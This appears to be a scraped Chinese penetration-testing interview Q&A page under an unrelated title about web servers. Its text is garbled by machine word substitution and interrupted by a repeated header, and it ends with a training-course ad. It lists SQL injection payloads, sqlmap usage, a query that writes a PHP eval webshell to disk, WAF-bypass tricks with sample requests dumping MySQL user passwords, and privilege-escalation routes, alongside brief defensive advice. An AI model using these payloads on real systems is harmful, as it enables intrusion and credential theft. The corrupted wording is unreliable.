网页背景有服务器吗(网页服务器有哪些)「网页背景的作用」

  给你一个网站你是怎样来渗出测试的?

  在获取书面授权的条件下。

  1

  信息网络

  1)获取域名的whois信息,获取注册者邮箱姓名电话等。

  2)查询服务器旁站以及子域名站点,由于主站一样平常比力难,以是先看看旁站有没有通用性的cms大概其他弊端。

  3)查察服务器操纵体系版本,web中心件,看看是否存在已知的弊端,比如IIS,APACHE,NGINX的分析弊端

  4)查察IP,举行IP地点端口扫描,对相应的端口举行弊端探测,比如rsync,心脏出血,mysql,ftp,ssh弱口令等。

  5)扫描网站目次布局,看看是否可以遍历目次,大概敏感文件走漏,比如php探针

  6)googlehack进一步探测网站的信息,背景,敏感文件

  2

  弊端扫描

  开始检测弊端,如XSS,XSRF,sql注入,代码实行,下令实行,越权访问,目次读取,恣意文件读取,下载,文件包罗,长途下令实行,弱口令,上传,编辑器弊端,暴力破解等

  3

  弊端利用

  利用以上的方式拿到webshell,大概其他权限

  4

  权限提拔

  提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的弊端,如iis6,pr,巴西烤肉,linux藏牛弊端,linux内核版本弊端提权,linux下的mysqlsystem提权以及oracle低权限提权

  5

  日记整理

  6

  总结陈诉及修复方案

  sqlmap,怎么对一个注入点注入?

  1.假如是get型号,直接,sqlmap-u"诸如点网址".

  2.假如是post型诸如点,可以sqlmap-u"注入点网址”--data="post的参数"

  3.假如是cookie,X-Forwarded-For等,可以访问的时间,用burpsuite抓包,注入处用*号更换,放到文件里,然后sqlmap-r"文件地点"

  sql注入的几种范例?

  1.报错注入

  2.bool型注入

  3.延时注入

  4.宽字节注入

  报错注入的函数有哪些?

  1.andextractvalue(1,concat(0x7e,(select@@version),0x7e))】】】----------------

  2.通过floor报错向下取整

  3.+andupdatexml(1,concat(0x7e,(secect@@version),0x7e),1)

  4.geometrycollection()select*fromtestwhereid=1andgeometrycollection((select*from(select*from(selectuser())a)b));

  5.multipoint()select*fromtestwhereid=1andmultipoint((select*from(select*from(selectuser())a)b));

  6.polygon()select*fromtestwhereid=1andpolygon((select*from(select*from(selectuser())a)b));

  7.multipolygon()select*fromtestwhereid=1andmultipolygon((select*from(select*from(selectuser())a)b));

  8.linestring()select*fromtestwhereid=1andlinestring((select*from(select*from(selectuser())a)b));

  9.multilinestring()select*fromtestwhereid=1andmultilinestring((select*from(select*from(selectuser())a)b));

  10.exp()select*fromtestwhereid=1andexp(~(select*from(selectuser())a));

  延时注入怎样来判定?

  if(ascii(substr(“hello”,1,1))=104,sleep(5),1)盲注和延时注入的共同点?

  都是一个字符一个字符的判定

  怎样拿一个网站的webshell?

  上传,背景编辑模板,sql注入写文件,下令实行,代码实行。

  一些已经爆出的cms弊端,比如dedecms背景可以直接创建脚本文件,wordpress上传插件包罗脚本文件zip压缩包等

  sql注入写文件都有哪些函数?

网页后台有服务器吗(网页服务器有哪些) 网页背景
有服务器吗(网页服务器有哪些)「网页背景的作用」 行业资讯

  select'一句话'intooutfile'路径'

  select'一句话'intodumpfile'路径'

  select'?phpeval($_POST[1])?'intodumpfile'd:wwwrootbaidu.comnvhack.php';

  怎样防止CSRF?

  1.验证referer

  2.验证token

  具体:https://cnodejs.org/topic/5533dd6e9138f09b629674fd

  owasp弊端都有哪些?

  1.SQL注入防护方法:

  2.失效的身份认证和会话管理

  3.跨站脚本攻击XSS

  4.直接引用不安全的对象

  5.安全设置错误

  6.敏感信息泄漏

  7.缺少功能级的访问控制

  8.跨站哀求伪造CSRF

  9.利用含有已知弊端的组件

  10.未验证的重定向和转发

  SQL注入防护方法?

  1.利用安全的API

  2.对输入的特别字符举行Escape转义处理惩罚

  3.利用白名单来规范化输入验证方法

  4.对客户端输入举行控制,不答应输入SQL注入相干的特别字符

  5.服务器端在提交数据库举行SQL查询之前,对特别字符举行过滤、转义、更换、删除。

  代码实行,文件读取,下令实行的函数都有哪些?

  1.代码实行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

  2.文件读取:file_get_contents(),highlight_file(),fopen(),readfile(),fread(),fgetss(),fgets(),parse_ini_file(),show_source(),file()等

  3.下令实行:system(),exec(),shell_exec(),passthru(),pcntl_exec(),popen(),proc_open()

  img标签除了属性外,尚有其他获取管理员路径的办法吗?

网页后台有服务器吗(网页服务器有哪些) 网页背景
有服务器吗(网页服务器有哪些)「网页背景的作用」 行业资讯

  src指定一个长途的脚本文件,获取referer

  img标签除了属性外,而且src属性的后缀名,必须以.jpg末了,怎么获取管理员路径。

  1.长途服务器修改apache设置文件,设置.jpg文件以php方式来分析

  AddTypeapplication/x-httpd-php.jpg

  imgsrc=会以php方式来分析

  代码审计

  eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function

  文件读取:file_get_contents(),highlight_file(),fopen(),readfile(),fread(),fgetss(),fgets(),parse_ini_file(),show_source(),file()等

  下令实行:system(),exec(),shell_exec(),passthru(),pcntl_exec(),popen(),proc_open()

  绕过walf

  1.关键字可以用%(只限IIS系列)。比如select,可以sel%e%ct。原理:网络层waf对SEL%E%CT举行url解码后变成SEL%E%CT,匹配select失败,而进入asp.dll对SEL%E%CT举行url解码却变成select。IIS下的asp.dll文件在对asp文件后参数串举行url解码时,会直接过滤掉09-0d(09是tab键,0d是回车)、20(空格)、%(后两个字符有一个不是十六进制)字符。xss也是同理。

  2.通杀的,内联解释。安全狗不拦截,但是安全宝、加快乐、D盾等,看到/*!/就Fack了,以是只限于安全狗。比如:/*!select*/

  3.编码。这个方法对waf很有结果,由于一样平常waf会解码,但是我们利用这个特点,举行两次编码,他解了第一次但不会解第二次,就bypass了。腾讯waf、百度waf等等都可以如许bypass的。

  4.绕过战略一:伪造搜刮引擎

  早些版本的安全狗是有这个弊端的,就是把User-Agent修改为搜刮引擎

  5.360webscan脚本存在这个题目,就是判定是否为admindedeinstall等目次,假如是则不做拦截

  1.GET/pen/news.php?id=1unionselectuser,passwordfrommysql.user

  1.GET/pen/news.php/admin?id=1unionselectuser,passwordfrommysql.user

  1.GET/pen/admin/..news.php?id=1unionselectuser,passwordfrommysql.user

  6.multipart哀求绕过,在POST哀求中添加一个上传文件,绕过了绝大多数WAF。

  7.参数绕过,复制参数,id=1id=1

  用一些特别字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格

  8.内联解释,

  文件上传,复制文件包一份再加一份

  在form-data;背面增长肯定的字符

  宽字符注入

  宽字符:

  办理方法:就是在初始化毗连和字符集之后,利用SETcharacter_set_client=binary来设定客户端的字符集是二进制的。修改Windows下的MySQL设置文件一样平常是my.ini,Linux下的MySQL设置文件一样平常是my.cnf,比如:mysql_query("SETcharacter_set_client=binary");。character_set_client指定的是SQL语句的编码,假如设置为binary,MySQL就以二进制来实行,如许宽字节编码题目就没有效武之地了。

  未

  完

  待

  续

(作者:夏至冰雪)

炼石信息安全培训春季班开招

QQ:495066536

372806985

敬请连续关注……

客户评论

我要评论